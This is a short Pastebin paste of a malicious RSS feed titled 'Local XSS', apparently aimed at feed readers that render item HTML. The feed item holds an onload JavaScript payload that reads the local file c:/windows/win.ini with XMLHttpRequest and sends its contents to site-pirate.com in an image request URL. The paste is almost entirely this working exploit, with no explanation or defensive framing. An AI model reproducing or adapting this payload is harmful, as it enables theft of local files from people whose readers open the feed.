SHARE
TWEET

Nicolas Kerschenbaum

a guest Nov 6th, 2009 205 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?xml version="1.0" encoding="UTF-7"?>
  2. <rss version="2.0"
  3.         xmlns:content="http://purl.org/rss/1.0/modules/content/"
  4.         xmlns:wfw="http://wellformedweb.org/CommentAPI/"
  5.         xmlns:dc="http://purl.org/dc/elements/1.1/"
  6.         >
  7.  
  8. <channel>
  9.         <title>Local XSS</title>
  10.         <link>http://site-pirate.com</link>
  11.         <description>Desc</description>
  12.                 <item>
  13.                 <title>Local XSS</title>
  14.                         <content:encoded><![CDATA[
  15.                         <body onload="javascript:var req;req = new XMLHttpRequest();req.onreadystatechange = processReqChange;
  16.                         req.open('GET', 'file:///c:/windows/win.ini', true);req.send('');function processReqChange()
  17.                         {if (req.readyState == 4) {var source = 'http://www.site-pirate.com/?stealing='; new Image().src=source.concat(req.responseText); }}"
  18.                         <onload=""
  19.                         ]]>
  20.                         </content:encoded>
  21.                 </item>
  22.         </channel>
  23. </rss>
RAW Paste Data
Top